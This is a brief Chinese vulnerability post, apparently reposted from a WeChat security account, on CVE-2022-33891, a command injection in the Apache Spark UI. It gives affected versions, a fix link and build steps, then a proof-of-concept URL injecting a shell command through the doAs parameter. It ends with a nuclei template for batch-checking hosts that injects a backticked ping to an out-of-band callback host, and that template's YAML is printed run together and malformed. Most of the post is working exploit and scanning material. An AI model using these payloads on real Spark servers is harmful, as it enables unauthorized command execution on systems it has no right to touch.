影响版本：
3.0.3 and earlier, versions 3.1.1 to 3.1.2, and versions 3.2.0 to 3.2.1.
Fix：
https://github.com/apache/spark/pull/36315/files
直接拼接 bash -c执行导致漏洞的产生。
复现
下载：https://archive.apache.org/dist/spark/spark-3.2.1/spark-3.2.1.tgz
cd assembly
mvn package -DskipTests
cd ../bin
./spark-shell --conf spark.acls.enable=true
poc:http://172.16.2.1:4040/?doAs=open%20-a%20Calculator
nuclei批量验证脚本：
id: apache-spark-shell-rceinfo:name: apache-spark-shell-rceauthor: tangxiaofeng7severity: highreference:- https://github.com/tangxiaofeng7tags: rcerequests:- method: GETpath:- '{{BaseURL}}/?doAs=`ping%20{{interactsh-url}}`'matchers:- type: wordpart: interactsh_protocolname: httpwords:- "http"- "dns"
原文始发于微信公众号（白帽子飙车路）：Apache Spark UI 命令注入漏洞（CVE-2022-33891）
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论